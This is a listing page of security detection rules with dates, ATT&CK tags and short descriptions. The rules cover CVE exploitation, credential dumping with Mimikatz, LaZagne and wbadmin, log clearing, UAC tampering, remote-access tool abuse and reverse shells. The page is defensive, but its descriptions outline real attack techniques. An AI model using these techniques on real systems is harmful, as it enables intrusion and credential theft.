Detection.FYI

Suspicious CrushFTP Child Process

Apr 17, 2025 · attack.initial-access attack.execution attack.t1059.001 attack.t1059.003 attack.t1190 cve.2025-31161 detection.emerging-threats ·

Share on:

Detects suspicious child processes spawned by the CrushFTP service that may indicate exploitation of remote code execution vulnerabilities such as CVE-2025-31161, where attackers can achieve RCE through crafted HTTP requests. The detection focuses on commonly abused Windows executables (like powershell.exe, cmd.exe etc.) that attackers typically use post-exploitation to execute malicious commands.

Suspicious Process Spawned by CentreStack Portal AppPool

Apr 17, 2025 · attack.execution attack.t1059.003 attack.t1505.003 cve.2025-30406 detection.emerging-threats ·

Share on:

Detects unexpected command shell execution (cmd.exe) from w3wp.exe when tied to CentreStack's portal.config, indicating potential exploitation (e.g., CVE-2025-30406)

Exploitation Attempt Of CVE-2020-1472 - Execution of ZeroLogon PoC

Apr 17, 2025 · attack.execution attack.lateral-movement attack.t1210 cve.2020-1472 detection.emerging-threats ·

Share on:

Detects the execution of the commonly used ZeroLogon PoC executable.

Hiding User Account Via SpecialAccounts Registry Key - CommandLine

Apr 17, 2025 · attack.t1564.002 ·

Share on:

Detects changes to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen.

Obfuscated PowerShell OneLiner Execution

Apr 17, 2025 · attack.defense-evasion attack.execution attack.t1059.001 attack.t1562.001 ·

Share on:

Detects the execution of a specific OneLiner to download and execute powershell modules in memory.

Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 1

Apr 17, 2025 · attack.defense-evasion ·

Share on:

Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.

Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 2

Apr 17, 2025 · attack.defense-evasion ·

Share on:

Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.

Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 3

Apr 17, 2025 · attack.defense-evasion ·

Share on:

Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.

Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 4

Apr 17, 2025 · attack.defense-evasion ·

Share on:

Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.

Potential Tampering With RDP Related Registry Keys Via Reg.EXE

Apr 17, 2025 · attack.defense-evasion attack.lateral-movement attack.t1021.001 attack.t1112 ·

Share on:

Detects the execution of "reg.exe" for enabling/disabling the RDP service on the host by tampering with the 'CurrentControlSet\Control\Terminal Server' values

Scheduled Task Executing Encoded Payload from Registry

Apr 17, 2025 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 ·

Share on:

Detects the creation of a schtask that potentially executes a base64 encoded payload stored in the Windows Registry using PowerShell.

Suspicious Eventlog Clear

Apr 16, 2025 · attack.defense-evasion attack.t1070.001 ·

Share on:

Detects usage of known powershell cmdlets such as "Clear-EventLog" to clear the Windows event logs

Suspicious Eventlog Clearing or Configuration Change Activity

Apr 16, 2025 · attack.defense-evasion attack.t1070.001 attack.t1562.002 car.2016-04-002 ·

Share on:

Detects the clearing or configuration tampering of EventLog using utilities such as "wevtutil", "powershell" and "wmic". This technique were seen used by threat actors and ransomware strains in order to evade defenses.

Potential Product Class Reconnaissance Via Wmic.EXE

Apr 16, 2025 · attack.execution attack.t1047 attack.discovery attack.t1082 ·

Share on:

Detects the execution of WMIC in order to get a list of firewall, antivirus and antispywware products. Adversaries often enumerate security products installed on a system to identify security controls and potential ways to evade detection or disable protection mechanisms. This information helps them plan their next attack steps and choose appropriate techniques to bypass security measures.

Potential Browser Data Stealing

Apr 16, 2025 · attack.credential-access attack.t1555.003 ·

Share on:

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.

Suspicious LNK Command-Line Padding with Whitespace Characters

Apr 16, 2025 · attack.initial-access attack.execution attack.t1204.002 ·

Share on:

Detects exploitation of LNK file command-line length discrepancy, where attackers hide malicious commands beyond the 260-character UI limit while the actual command-line argument field supports 4096 characters using whitespace padding (e.g., 0x20, 0x09-0x0D). Adversaries insert non-printable whitespace characters (e.g., Line Feed \x0A, Carriage Return \x0D) to pad the visible section of the LNK file, pushing malicious commands past the UI-visible boundary. The hidden payload, executed at runtime but invisible in Windows Explorer properties, enables stealthy execution and evasion—commonly used for social engineering attacks. This rule flags suspicious use of such padding observed in real-world attacks.

DarkGate - Drop DarkGate Loader In C:\Temp Directory

Apr 16, 2025 · attack.execution attack.t1059 detection.emerging-threats ·

Share on:

Detects attackers attempting to save, decrypt and execute the DarkGate Loader in C:\temp folder.

File Download Via Nscurl - MacOS

Apr 16, 2025 · attack.defense-evasion attack.command-and-control attack.t1105 ·

Share on:

Detects the execution of the nscurl utility in order to download files.

File Recovery From Backup Via Wbadmin.EXE

Apr 16, 2025 · attack.impact attack.t1490 ·

Share on:

Detects the recovery of files from backups via "wbadmin.exe". Attackers can restore sensitive files such as NTDS.DIT or Registry Hives from backups in order to potentially extract credentials.

Launch Agent/Daemon Execution Via Launchctl

Apr 16, 2025 · attack.execution attack.persistence attack.t1569.001 attack.t1543.001 attack.t1543.004 ·

Share on:

Detects the execution of programs as Launch Agents or Launch Daemons using launchctl on macOS.

LSASS Process Reconnaissance Via Findstr.EXE

Apr 16, 2025 · attack.credential-access attack.t1552.006 ·

Share on:

Detects findstring commands that include the keyword lsass, which indicates recon actviity for the LSASS process PID

Network Communication Initiated To Portmap.IO Domain

Apr 16, 2025 · attack.t1041 attack.command-and-control attack.t1090.002 attack.exfiltration ·

Share on:

Detects an executable accessing the portmap.io domain, which could be a sign of forbidden C2 traffic or data exfiltration by malicious actors

Network Connection Initiated To Cloudflared Tunnels Domains

Apr 16, 2025 · attack.exfiltration attack.command-and-control attack.t1567.001 ·

Share on:

Detects network connections to Cloudflared tunnels domains initiated by a process on the system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

New File Exclusion Added To Time Machine Via Tmutil - MacOS

Apr 16, 2025 · attack.impact attack.t1490 ·

Share on:

Detects the addition of a new file or path exclusion to MacOS Time Machine via the "tmutil" utility. An adversary could exclude a path from Time Machine backups to prevent certain files from being backed up.

New Firewall Rule Added In Windows Firewall Exception List For Potential Suspicious Application

Apr 16, 2025 · attack.defense-evasion attack.t1562.004 ·

Share on:

Detects the addition of a new rule to the Windows Firewall exception list for an application located in a potentially suspicious location.

New Firewall Rule Added In Windows Firewall Exception List Via WmiPrvSE.EXE

Apr 16, 2025 · attack.defense-evasion attack.t1562.004 ·

Share on:

Detects the addition of a new "Allow" firewall rule by the WMI process (WmiPrvSE.EXE). This can occur if an attacker leverages PowerShell cmdlets such as "New-NetFirewallRule", or directly uses WMI CIM classes such as "MSFT_NetFirewallRule".

Potential Packet Capture Activity Via Start-NetEventSession - ScriptBlock

Apr 16, 2025 · attack.credential-access attack.discovery attack.t1040 ·

Share on:

Detects the execution of powershell scripts with calls to the "Start-NetEventSession" cmdlet. Which allows an attacker to start event and packet capture for a network event session. Adversaries may attempt to capture network to gather information over the course of an operation. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol.

Potential Suspicious Browser Launch From Document Reader Process

Apr 16, 2025 · attack.execution attack.t1204.002 ·

Share on:

Detects when a browser process or browser tab is launched from an application that handles document files such as Adobe, Microsoft Office, etc. And connects to a web application over http(s), this could indicate a possible phishing attempt.

Potentially Suspicious Child Process of KeyScrambler.exe

Apr 16, 2025 · attack.execution attack.defense-evasion attack.privilege-escalation attack.t1203 attack.t1574.002 ·

Share on:

Detects potentially suspicious child processes of KeyScrambler.exe

Potentially Suspicious Malware Callback Communication - Linux

Apr 16, 2025 · attack.persistence attack.command-and-control attack.t1571 ·

Share on:

Detects programs that connect to known malware callback ports based on threat intelligence reports.

Potentially Suspicious Usage Of Qemu

Apr 16, 2025 · attack.command-and-control attack.t1090 attack.t1572 ·

Share on:

Detects potentially suspicious execution of the Qemu utility in a Windows environment. Threat actors have leveraged this utility and this technique for achieving network access as reported by Kaspersky.

Self Extracting Package Creation Via Iexpress.EXE From Potentially Suspicious Location

Apr 16, 2025 · attack.defense-evasion attack.t1218 ·

Share on:

Detects the use of iexpress.exe to create binaries via Self Extraction Directive (SED) files located in potentially suspicious locations. This behavior has been observed in-the-wild by different threat actors.

Sensitive File Dump Via Wbadmin.EXE

Apr 16, 2025 · attack.credential-access attack.t1003.003 ·

Share on:

Detects the dump of highly sensitive files such as "NTDS.DIT" and "SECURITY" hive. Attackers can leverage the "wbadmin" utility in order to dump sensitive files that might contain credential or sensitive information.

Sensitive File Recovery From Backup Via Wbadmin.EXE

Apr 16, 2025 · attack.credential-access attack.t1003.003 ·

Share on:

Detects the dump of highly sensitive files such as "NTDS.DIT" and "SECURITY" hive. Attackers can leverage the "wbadmin" utility in order to dump sensitive files that might contain credential or sensitive information.

Suspicious External WebDAV Execution

Apr 16, 2025 · attack.initial-access attack.t1584 attack.t1566 ·

Share on:

Detects executables launched from external WebDAV shares using the WebDAV Explorer integration, commonly seen in initial access campaigns.

System Information Discovery Via Sysctl - MacOS

Apr 16, 2025 · attack.defense-evasion attack.t1497.001 attack.discovery attack.t1082 ·

Share on:

Detects the execution of "sysctl" with specific arguments that have been used by threat actors and malware. It provides system hardware information. This process is primarily used to detect and avoid virtualization and analysis environments.

Time Machine Backup Deletion Attempt Via Tmutil - MacOS

Apr 16, 2025 · attack.impact attack.t1490 ·

Share on:

Detects deletion attempts of MacOS Time Machine backups via the native backup utility "tmutil". An adversary may perform this action before launching a ransonware attack to prevent the victim from restoring their files.

Time Machine Backup Disabled Via Tmutil - MacOS

Apr 16, 2025 · attack.impact attack.t1490 ·

Share on:

Detects disabling of Time Machine (Apple's automated backup utility software) via the native macOS backup utility "tmutil". An attacker can use this to prevent backups from occurring.

UAC Notification Disabled

Apr 16, 2025 · attack.privilege-escalation attack.defense-evasion attack.t1548.002 ·

Share on:

Detects when an attacker tries to disable User Account Control (UAC) notification by tampering with the "UACDisableNotify" value. UAC is a critical security feature in Windows that prevents unauthorized changes to the operating system. It prompts the user for permission or an administrator password before allowing actions that could affect the system's operation or change settings that affect other users. When "UACDisableNotify" is set to 1, UAC prompts are suppressed.

UAC Secure Desktop Prompt Disabled

Apr 16, 2025 · attack.privilege-escalation attack.defense-evasion attack.t1548.002 ·

Share on:

Detects when an attacker tries to change User Account Control (UAC) elevation request destination via the "PromptOnSecureDesktop" value. The "PromptOnSecureDesktop" setting specifically determines whether UAC prompts are displayed on the secure desktop. The secure desktop is a separate desktop environment that's isolated from other processes running on the system. It's designed to prevent malicious software from intercepting or tampering with UAC prompts. When "PromptOnSecureDesktop" is set to 0, UAC prompts are displayed on the user's current desktop instead of the secure desktop. This reduces the level of security because it potentially exposes the prompts to manipulation by malicious software.

Uncommon File Creation By Mysql Daemon Process

Apr 16, 2025 · attack.defense-evasion ·

Share on:

Detects the creation of files with scripting or executable extensions by Mysql daemon. Which could be an indicator of "User Defined Functions" abuse to download malware.

Uncommon Process Access Rights For Target Image

Apr 16, 2025 · attack.defense-evasion attack.privilege-escalation attack.t1055.011 ·

Share on:

Detects process access request to uncommon target images with a "PROCESS_ALL_ACCESS" access mask.

Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted

Apr 16, 2025 · attack.collection attack.t1113 ·

Share on:

Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.

Windows Recall Feature Enabled - Registry

Apr 16, 2025 · attack.collection attack.t1113 ·

Share on:

Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by setting the value of "DisableAIDataAnalysis" to "0". Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.

Windows Recall Feature Enabled Via Reg.EXE

Apr 16, 2025 · attack.collection attack.t1113 ·

Share on:

Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" value, or setting it to 0. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.

Potential Adplus.EXE Abuse

Apr 16, 2025 · attack.defense-evasion attack.execution attack.credential-access attack.t1003.001 ·

Share on:

Detects execution of "AdPlus.exe", a binary that is part of the Windows SDK that can be used as a LOLBIN in order to dump process memory and execute arbitrary commands.

Potential Binary Impersonating Sysinternals Tools

Apr 16, 2025 · attack.execution attack.defense-evasion attack.t1218 attack.t1202 attack.t1036.005 ·

Share on:

Detects binaries that use the same name as legitimate sysinternals tools to evade detection. This rule looks for the execution of binaries that are named similarly to Sysinternals tools. Adversary may rename their malicious tools as legitimate Sysinternals tools to evade detection.

Potential CVE-2023-23397 Exploitation Attempt - SMB

Apr 10, 2025 · attack.exfiltration cve.2023-23397 detection.emerging-threats ·

Share on:

Detects (failed) outbound connection attempts to internet facing SMB servers. This could be a sign of potential exploitation attempts of CVE-2023-23397.

Buffer Overflow Attempts

Apr 7, 2025 · attack.t1068 attack.privilege-escalation ·

Share on:

Detects buffer overflow attempts in Unix system log files

AWS New Lambda Layer Attached

Apr 7, 2025 · attack.privilege-escalation ·

Share on:

Detects when a user attached a Lambda layer to an existing Lambda function. A malicious Lambda layer could execute arbitrary code in the context of the function's IAM role. This would give an adversary access to resources that the function has access to.

Conhost Spawned By Uncommon Parent Process

Apr 7, 2025 · attack.execution attack.t1059 ·

Share on:

Detects when the Console Window Host (conhost.exe) process is spawned by an uncommon parent process, which could be indicative of potential code injection activity.

Elevated System Shell Spawned From Uncommon Parent Location

Apr 7, 2025 · attack.privilege-escalation attack.defense-evasion attack.execution attack.t1059 ·

Share on:

Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges from a uncommon parent location.

Potential Binary Or Script Dropper Via PowerShell

Apr 7, 2025 · attack.persistence ·

Share on:

Detects PowerShell creating a binary executable or a script file.

Potential WinAPI Calls Via CommandLine

Apr 7, 2025 · attack.execution attack.t1106 ·

Share on:

Detects the use of WinAPI Functions via the commandline. As seen used by threat actors via the tool winapiexec

Python Initiated Connection

Apr 7, 2025 · attack.discovery attack.t1046 ·

Share on:

Detects a Python process initiating a network connection. While this often relates to package installation, it can also indicate a potential malicious script communicating with a C&C server.

Whoami.EXE Execution Anomaly

Apr 7, 2025 · attack.discovery attack.t1033 car.2016-03-001 ·

Share on:

Detects the execution of whoami.exe with suspicious parent processes.

Windows Processes Suspicious Parent Directory

Apr 7, 2025 · attack.defense-evasion attack.t1036.003 attack.t1036.005 ·

Share on:

Detect suspicious parent processes of well-known Windows processes

Potential Unconstrained Delegation Discovery Via Get-ADComputer - ScriptBlock

Apr 7, 2025 · attack.reconnaissance attack.discovery attack.credential-access attack.t1018 attack.t1558 attack.t1589.002 ·

Share on:

Detects the use of the "Get-ADComputer" cmdlet in order to identify systems which are configured for unconstrained delegation.

Operator Bloopers Cobalt Strike Commands

Mar 18, 2025 · attack.execution attack.t1059.003 stp.1u ·

Share on:

Detects use of Cobalt Strike commands accidentally entered in the CMD shell

AnyDesk Network

Mar 18, 2025 · attack.lateral-movement attack.t1133 attack.command-and-control attack.t1219 ·

Share on:

Detects use of AnyDesk

Bumblebee WmiPrvSE execution pattern

Mar 18, 2025 · attack.defense-evasion attack.t1036 ·

Share on:

Detects Bumblebee WmiPrvSE parent process manipulation

Conhost Suspicious Command Execution

Mar 18, 2025 · attack.defense-evasion attack.t1564.003 dist.public ·

Share on:

Detects use of conhost in "headless" mode. By running conhost.exe in "headless" mode, it means that no visible window will pop up on the victim's machine.

Custom Cobalt Strike Command Execution

Mar 18, 2025 · attack.defense-evasion attack.t1562.001 attack.execution attack.t1059.001 ·

Share on:

Detects the execution of a specific OneLiner to Invoke PowerShell commands.

Deleting Windows Defender scheduled tasks

Mar 18, 2025 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects the deletion of scheduled tasks related to Windows Defender.

Enable WDigest using PowerShell

Mar 18, 2025 · attack.defense-evasion attack.t1112 ·

Share on:

Rule to detect registry modifications to enable WDigest using powershell over the commandline.

Enable WDigest using PowerShell (ps_module)

Mar 18, 2025 · attack.defense-evasion attack.t1112 ·

Share on:

Rule to detect registry modifications to enable WDigest using powershell script modules.

Enabling RDP service via reg.exe command execution

Mar 18, 2025 · attack.defense-evasion attack.lateral-movement attack.t1021.001 attack.t1112 ·

Share on:

Detects the execution of reg.exe and subsequent command line arguments for enabling RDP service on the host

Enabling restricted admin mode

Mar 18, 2025 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects the registry modification to enable restricted admin mode using reg.exe

Exchange WebShell Creation

Mar 18, 2025 · attack.t1505.003 attack.persistence attack.t1190 attack.initial-access ·

Share on:

These commands were used to create a WebShell by exploiting ProxyShell vulnerabilities

Execution of ZeroLogon PoC executable

Mar 18, 2025 · attack.execution attack.lateral-movement attack.t1210 ·

Share on:

Detects the execution of the commonly used ZeroLogon PoC executable.

FlawedGrace spawning threat injection target

Mar 18, 2025 · attack.defense-evasion attack.t1055 dist.public ·

Share on:

Detecting the command FlawedGrace is using for the purpose of injecting into it the spawned process, in this case the cmd.exe process.

Hiding local user accounts

Mar 18, 2025 · attack.t1564.002 attack.defense-evasion ·

Share on:

Detects the use reg.exe to hide users from listed in the logon screen. This is possible by changing the registry key value to 0 for a specific user.

Invoke-ShareFinder Module Load Detection

Mar 18, 2025 · attack.discovery attack.t1135 dist.public ·

Share on:

Use of Invoke-ShareFinder detected via PowerShell logging

Invoke-ShareFinder Script Block Execution

Mar 18, 2025 · attack.discovery attack.t1135 dist.public ·

Share on:

Use of Invoke-ShareFinder detected via PowerShell Script Block logging

JavaScript Execution Using MSDOS 8.3 File Notation

Mar 18, 2025 · attack.defense-evasion attack.t1059 dist.public ·

Share on:

Detects script execution using MSDOS 8.3 File names

Lazagne dumping credentials

Mar 18, 2025 · attack.credential-access attack.t1555 ·

Share on:

Detects the use of lazagne using command line execution.

Mimikatz Command Line With Ticket Export

Mar 18, 2025 · attack.credential-access attack.t1003 attack.t1003.001 attack.t1003.002 attack.t1003.004 attack.t1003.005 attack.t1003.006 ·

Share on:

Detection of well-known mimikatz command line arguments. Added more commandline indicators from referenced rule by author - Teymur Kheirkhabarov, oscd.community

Mshta Executing from Registry

Mar 18, 2025 · attack.defense-evasion attack.t1218.005 ·

Share on:

Detects a Mshta executing code from the registry

Operator Bring Your Own Tools

Mar 18, 2025 · attack.command-and-control attack.t1105 ·

Share on:

Detects use of custom scripts i.e. BAT files.

Potential Qbot SMB DLL Lateral Movement

Mar 18, 2025 · attack.lateral-movement attack.t1570 ·

Share on:

Detection of potential us of SMB to transfer DLL's into the C$ folder of hosts unique to Qbot malware for purposes of lateral movement.

Potential SMB DLL Lateral Movement

Mar 18, 2025 · attack.lateral-movement attack.t1570 ·

Share on:

Detection of potential us of SMB to transfer DLL's into the ProgramData folder of hosts for purposes of lateral movement.

QBot process creation from scheduled task REGSVR32 (regsvr32.exe), -s flag and SYSTEM in the command line

Mar 18, 2025 · attack.persistence attack.privilege-escalation attack.t1053.005 ·

Share on:

Detects the process creation from Scheduled Task with REGSVR32 (regsvr32.exe), -s flag and SYSTEM in the command line

QBot scheduled task REGSVR32 with C$ image path

Mar 18, 2025 · attack.persistence attack.privilege-escalation attack.t1053.005 ·

Share on:

Detects the creation of Scheduled Task with REGSVR32 (regsvr32.exe) and C$ in the image path field

Renamed Autohotkey Binary

Mar 18, 2025 · attack.defense-evasion attack.t1036.003 ·

Share on:

Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.

SplashTop Network

Mar 18, 2025 · attack.lateral-movement attack.t1133 attack.command-and-control attack.t1219 ·

Share on:

Detects use of SplashTop

SplashTop Process

Mar 18, 2025 · attack.lateral-movement attack.t1133 attack.command-and-control attack.t1219 ·

Share on:

Detects use of SplashTop

SSH over port 443 with known Server and Client Strings

Mar 18, 2025 · attack.command-and-control attack.t1572 ·

Share on:

Will detect the presence of known SSH client and SSH server strings that have been used for SSH tunneling.

Suspicious Commands by SQL Server

Mar 18, 2025 · attack.initial-access attack.persistence attack.privilege-escalation ·

Share on:

Detects suspicious commands created from sqlservr process.

Viewing remote directories

Mar 18, 2025 · attack.discovery attack.t1083 dist.public ·

Share on:

Detecting the use of dir command to inspect directories on the remote host.

Potential APT FIN7 Exploitation Activity

Mar 16, 2025 · attack.execution attack.t1059.001 attack.t1059.003 detection.emerging-threats ·

Share on:

Detects potential APT FIN7 exploitation activity as reported by Google. In order to obtain initial access, FIN7 used compromised Remote Desktop Protocol (RDP) credentials to login to a target server and initiate specific Windows process chains.

Service Reload or Start - Linux

Mar 4, 2025 · attack.persistence attack.t1543.002 ·

Share on:

Detects the start, reload or restart of a service.

Notepad Password Files Discovery

Mar 4, 2025 · attack.discovery attack.t1083 ·

Share on:

Detects the execution of Notepad to open a file that has the string "password" which may indicate unauthorized access to credentials or suspicious activity.

ADS Zone.Identifier Deleted By Uncommon Application

Mar 4, 2025 · attack.defense-evasion attack.t1070.004 ·

Share on:

Detects the deletion of the "Zone.Identifier" ADS by an uncommon process. Attackers can leverage this in order to bypass security restrictions that make use of the ADS such as Microsoft Office apps.

Cisco Duo Successful MFA Authentication Via Bypass Code

Mar 4, 2025 · attack.credential-access attack.defense-evasion attack.initial-access ·

Share on:

Detects when a successful MFA authentication occurs due to the use of a bypass code. A bypass code is a temporary passcode created by an administrator for a specific user to access a Duo-protected application. These are generally used as "backup codes," so that enrolled users who are having problems with their mobile devices (e.g., mobile service is disrupted, the device is lost or stolen, etc.) or who temporarily can't use their enrolled devices (on a plane without mobile data services) can still access their Duo-protected systems.

Forest Blizzard APT - Custom Protocol Handler Creation

Mar 4, 2025 · attack.persistence attack.t1547.001 detection.emerging-threats ·

Share on:

Detects the setting of a custom protocol handler with the name "rogue". Seen being created by Forest Blizzard APT as reported by MSFT.

Forest Blizzard APT - Custom Protocol Handler DLL Registry Set

Mar 4, 2025 · attack.persistence attack.t1547.001 detection.emerging-threats ·

Share on:

Detects the setting of the DLL that handles the custom protocol handler. Seen being created by Forest Blizzard APT as reported by MSFT.

Forest Blizzard APT - JavaScript Constrained File Creation

Mar 4, 2025 · attack.defense-evasion attack.t1562.002 detection.emerging-threats ·

Share on:

Detects the creation of JavaScript files inside of the DriverStore directory. Forest Blizzard used this to exploit the CVE-2022-38028 vulnerability in Windows Print Spooler service by modifying a JavaScript constraints file and executing it with SYSTEM-level permissions.

Kubernetes Unauthorized or Unauthenticated Access

Mar 4, 2025 · attack.privilege-escalation ·

Share on:

Detects when a request to the Kubernetes API is rejected due to lack of authorization or due to an expired authentication token being used. This may indicate an attacker attempting to leverage credentials they have obtained.

Outbound Network Connection Initiated By Microsoft Dialer

Mar 4, 2025 · attack.execution attack.t1071.001 ·

Share on:

Detects outbound network connection initiated by Microsoft Dialer. The Microsoft Dialer, also known as Phone Dialer, is a built-in utility application included in various versions of the Microsoft Windows operating system. Its primary function is to provide users with a graphical interface for managing phone calls via a modem or a phone line connected to the computer. This is an outdated process in the current conext of it's usage and is a common target for info stealers for process injection, and is used to make C2 connections, common example is "Rhadamanthys"

Pnscan Binary Data Transmission Activity

Mar 4, 2025 · attack.discovery attack.t1046 ·

Share on:

Detects command line patterns associated with the use of Pnscan for sending and receiving binary data across the network. This behavior has been identified in a Linux malware campaign targeting Docker, Apache Hadoop, Redis, and Confluence and was previously used by the threat actor known as TeamTNT

Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection

Mar 4, 2025 · attack.initial-access attack.persistence attack.privilege-escalation attack.defense-evasion cve.2024-3400 detection.emerging-threats ·

Share on:

Detects potential exploitation attempts of CVE-2024-3400 - an OS command injection in Palo Alto GlobalProtect. This detection looks for suspicious strings that indicate a potential directory traversal attempt or command injection.

Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection - File Creation

Mar 4, 2025 · attack.execution cve.2024-3400 detection.emerging-threats ·

Share on:

Detects suspicious file creations in the Palo Alto Networks PAN-OS' parent telemetry folder, which are processed by the vulnerable 'dt_curl' script if device telemetry is enabled. As said script overrides the shell-subprocess restriction, arbitrary command execution may occur by carefully crafting filenames that are escaped through this function.

Potential DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE

Mar 4, 2025 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·

Share on:

Detects potential DLL side loading of "KeyScramblerIE.dll" by "KeyScrambler.exe". Various threat actors and malware have been found side loading a masqueraded "KeyScramblerIE.dll" through "KeyScrambler.exe".

PUA - SoftPerfect Netscan Execution

Mar 4, 2025 · attack.discovery attack.t1046 ·

Share on:

Detects usage of SoftPerfect's "netscan.exe". An application for scanning networks. It is actively used in-the-wild by threat actors to inspect and understand the network architecture of a victim.

RegAsm.EXE Initiating Network Connection To Public IP

Mar 4, 2025 · attack.defense-evasion attack.t1218.009 ·

Share on:

Detects "RegAsm.exe" initiating a network connection to public IP adresses

Malicious PowerShell Commandlets - PoshModule

Mar 4, 2025 · attack.execution attack.discovery attack.t1482 attack.t1087 attack.t1087.001 attack.t1087.002 attack.t1069.001 attack.t1069.002 attack.t1069 attack.t1059.001 ·

Share on:

Detects Commandlet names from well-known PowerShell exploitation frameworks

Malicious PowerShell Commandlets - ProcessCreation

Mar 4, 2025 · attack.execution attack.discovery attack.t1482 attack.t1087 attack.t1087.001 attack.t1087.002 attack.t1069.001 attack.t1069.002 attack.t1069 attack.t1059.001 ·

Share on:

Detects Commandlet names from well-known PowerShell exploitation frameworks

Malicious PowerShell Scripts - FileCreation

Mar 4, 2025 · attack.execution attack.t1059.001 ·

Share on:

Detects the creation of known offensive powershell scripts used for exploitation

Malicious PowerShell Scripts - PoshModule

Mar 4, 2025 · attack.execution attack.t1059.001 ·

Share on:

Detects the execution of known offensive powershell scripts used for exploitation or reconnaissance

Anydesk Remote Access Software Service Installation

Mar 4, 2025 · attack.persistence ·

Share on:

Detects the installation of the anydesk software service. Which could be an indication of anydesk abuse if you the software isn't already used.

Remote Access Tool - AnyDesk Execution

Mar 4, 2025 · attack.command-and-control attack.t1219 ·

Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Remote Access Tool - Anydesk Execution From Suspicious Folder

Mar 4, 2025 · attack.command-and-control attack.t1219 ·

Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Remote Access Tool - AnyDesk Incoming Connection

Mar 4, 2025 · attack.persistence attack.command-and-control attack.t1219 ·

Share on:

Detects incoming connections to AnyDesk. This could indicate a potential remote attacker trying to connect to a listening instance of AnyDesk and use it as potential command and control channel.

Suspicious Binary Writes Via AnyDesk

Mar 4, 2025 · attack.command-and-control attack.t1219 ·

Share on:

Detects AnyDesk writing binary files to disk other than "gcapi.dll". According to RedCanary research it is highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll, which is a legitimate DLL that is part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)

Nslookup PowerShell Download Cradle

Mar 4, 2025 · attack.execution attack.t1059.001 ·

Share on:

Detects a powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records.

HTTP Request to Low Reputation TLD or Suspicious File Extension

Mar 4, 2025 · attack.initial-access attack.command-and-control ·

Share on:

Detects HTTP requests to low reputation TLDs (e.g. .xyz, .top, .ru) or ending in suspicious file extensions (.exe, .dll, .hta), which may indicate malicious activity.

Backup Files Deleted

Feb 28, 2025 · attack.impact attack.t1490 ·

Share on:

Detects deletion of files with extensions often used for backup files. Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.

File Deleted Via Sysinternals SDelete

Feb 28, 2025 · attack.defense-evasion attack.t1070.004 ·

Share on:

Detects the deletion of files by the Sysinternals SDelete utility. It looks for the common name pattern used to rename files.

Potential Obfuscated Ordinal Call Via Rundll32

Feb 25, 2025 · attack.defense-evasion attack.t1027.010 ·

Share on:

Detects execution of "rundll32" with potential obfuscated ordinal calls

Process Memory Dump Via Comsvcs.DLL

Feb 25, 2025 · attack.defense-evasion attack.credential-access attack.t1036 attack.t1003.001 car.2013-05-009 ·

Share on:

Detects a process memory dump via "comsvcs.dll" using rundll32, covering multiple different techniques (ordinal, minidump function, etc.)

Potential CVE-2024-35250 Exploitation Activity

Feb 24, 2025 · attack.privilege-escalation attack.t1068 cve.2024-35250 detection.emerging-threats ·

Share on:

Detects potentially suspicious loading of "ksproxy.ax", which may indicate an attempt to exploit CVE-2024-35250.

Clfs.SYS Loaded By Process Located In a Potential Suspicious Location

Feb 22, 2025 · attack.execution attack.t1059 ·

Share on:

Detects Clfs.sys being loaded by a process running from a potentially suspicious location. Clfs.sys is loaded as part of many CVEs exploits that targets Common Log File.

Python Inline Command Execution

Feb 22, 2025 · attack.execution attack.t1059 ·

Share on:

Detects execution of python using the "-c" flag. This is could be used as a way to launch a reverse shell or execute live python code.

Suspicious Non-Browser Network Communication With Google API

